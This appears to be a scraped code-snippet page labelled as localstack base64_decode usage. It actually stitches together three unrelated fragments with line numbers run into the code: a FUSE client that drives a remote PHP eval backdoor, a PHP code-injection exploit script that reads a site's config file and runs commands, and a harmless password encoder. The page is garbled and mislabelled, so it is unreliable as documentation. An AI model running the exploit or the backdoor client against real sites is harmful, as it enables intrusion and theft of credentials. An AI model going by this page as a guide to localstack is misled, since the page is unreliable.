How to use base64_decode method in localstack

Best Python code snippet using localstack_python

mount.py

Source:mount.py Github

copy

Full Screen

...36 #self.root = '/var/www/html'37 pass38 def chmod(self, path, mode):39 code = " \40 echo chmod(base64_decode('%s'), %d); \41 " % (path.encode("base64").rstrip("\n"), mode)42 return eval_php_code(code) == "1"43 def readdir(self, path, fh):44 token = random_string(string.letters, 0x10)45 code = " \46 echo join(scandir(base64_decode('%s')), '%s'); \47 " % (path.encode("base64").rstrip("\n"), token)48 return list(eval_php_code(code).split(token))49 def getattr(self, path, fh=None):50 token = random_string(string.letters, 0x10)51 code = " \52 echo join(stat(base64_decode('%s')), '%s'); \53 " % (path.encode("base64").rstrip("\n"), token)54 result = eval_php_code(code).split(token)55 if len(result) == 1:56 return {}57 data = {58 'st_atime':int(result[8]),59 'st_mtime':int(result[9]),60 'st_gid':int(result[5]),61 'st_uid':int(result[4]),62 'st_mode':int(result[2]),63 'st_size':int(result[7]),64 }65 return data66 def read(self, path, size, offset, fh):67 code = " \68 $file = fopen(base64_decode('%s'), 'rb'); \69 fseek($file, %d); \70 $data = fread($file, %d); \71 echo $data; \72 fclose($file); \73 " % (path.encode("base64").rstrip("\n"), offset, size)74 return eval_php_code(code)75 def write(self, path, data, offset, fh):76 code = " \77 $file = fopen(base64_decode('%s'), 'rb'); \78 fseek($file, %d); \79 $data = fwrite($file, base64_decode('%s')); \80 echo $data; \81 fclose($file); \82 " % (83 path.encode("base64").rstrip("\n"),84 offset,85 data.encode("base64").rstrip("\n"),86 )87 return eval_php_code(code)88 def readlink(self, path):89 code = " \90 echo readlink(base64_decode('%s')); \91 " % (path.encode("base64").rstrip("\n"))92 return eval_php_code(code)93 def mkdir(self, path, mode):94 code = " \95 echo mkdir(base64_decode('%s'), %d); \96 " % (path.encode("base64").rstrip("\n"), mode)97 return eval_php_code(code) == "1"98 def rmdir(self, path):99 code = " \100 echo rmdir(base64_decode('%s'), %d); \101 " % (path.encode("base64").rstrip("\n"), mode)102 return eval_php_code(code) == "1"103 def chown(self, path, uid, gid):104 code = " \105 echo chown(base64_decode('%s'), %d) && chgrp(base64_decode('%s'), %d); \106 " % (107 path.encode("base64").rstrip("\n"), uid,108 path.encode("base64").rstrip("\n"), gid,109 )110 return eval_php_code(code) == "1"111 def create(self, path, mode):112 code = " \113 $file = fopen(base64_decode('%s'), 'w'); \114 echo fclose($file); \115 " % (116 path.encode("base64").rstrip("\n"), mode,117 )118 return eval_php_code(code) == "1" and self.chmod(path, mode)119 def rename(self, old, new):120 code = " \121 echo rename(base64_decode('%s'), base64_decode('%s')); \122 " % (123 old.encode("base64").rstrip("\n"),124 new.encode("base64").rstrip("\n"),125 )126 return eval_php_code(code) == "1"127 def destroy(self, path):128 return True129 def symlink(self, target, source):130 code = " \131 echo symlink(base64_decode('%s'), base64_decode('%s')); \132 " % (133 target.encode("base64").rstrip("\n"),134 source.encode("base64").rstrip("\n"),135 )136 return eval_php_code(code) == "1"137'''138def truncate(self, path, length, fh=None):139return self.sftp.truncate(path, length)140 def unlink(self, path):141 return self.sftp.unlink(path)142def utimens(self, path, times=None):143return self.sftp.utime(path, times)144'''145if __name__ == '__main__':...

Full Screen

Full Screen

33070.py

Source:33070.py Github

copy

Full Screen

...14if len(sys.argv) < 2:15 print "Usage: python {0} http://target/index.php".format(sys.argv[0])16 sys.exit()17debug = False18CHECK_FMT = "{0}?{1});echo(base64_decode('{2}')=/"19INFO_FMT = "{0}?{1});echo(base64_decode('{2}'));phpinfo();echo(base64_decode('{3}')=/"20# to read include/base.inc.php21CONFIG_FMT = "{0}?{1});echo(base64_decode('{2}'));readfile(base64_decode('aW5jbHVkZS9iYXNlLmluYy5waHA%3D'));echo(base64_decode('{3}')=/"22EXEC_FMT = "{0}?{1});echo(base64_decode('{2}'));{3}(base64_decode('{4}'));echo(base64_decode('{5}')=/"23index_url = sys.argv[1]24char = chr(random.randint(97,122))25start_mark = hashlib.md5(str(random.random())).hexdigest()[:15]26end_mark = hashlib.md5(str(random.random())).hexdigest()[:15]27print "[*] Testing for vulnerability..."28random_mark = hashlib.md5(str(random.random())).hexdigest()[:15]29url = CHECK_FMT.format(index_url, char, b64(random_mark))30if debug:31 print url32r = urllib.urlopen(url)33if not random_mark in r.read():34 print "[-] Website is not vulnerable :'("35 sys.exit()36print "[+] Website is vulnerable"...

Full Screen

Full Screen

encode.py

Source:encode.py Github

copy

Full Screen

1import hashlib2import base643import time4def encode_password(password):5 """6 密码加密7 :param password:8 :return:9 """10 timestamp = str(int(time.time()))11 sha1_encode = sha1_password(password)12 new_encode = "{}{}{}".format(timestamp[-5:], sha1_encode, timestamp[:5])13 base64_encode = base64.b64encode(new_encode.encode())14 base64_encode = base64_encode.decode().replace("=", "]P[")15 base64_encode = base64_encode[::-1]16 return base64_encode17def decode_password(en_password):18 """19 密码解密20 :param en_password:21 :return:22 """23 base64_decode = en_password[::-1]24 base64_decode = base64_decode.replace("]P[", "=").encode()25 base64_decode = base64.b64decode(base64_decode)26 sha_decode = base64_decode.decode()[5:-5]27 return sha_decode28def sha1_password(password):29 """30 sha1加密31 :param password:32 :return:33 """34 sha1_encode = hashlib.sha1(password.encode()).hexdigest()...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run localstack automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful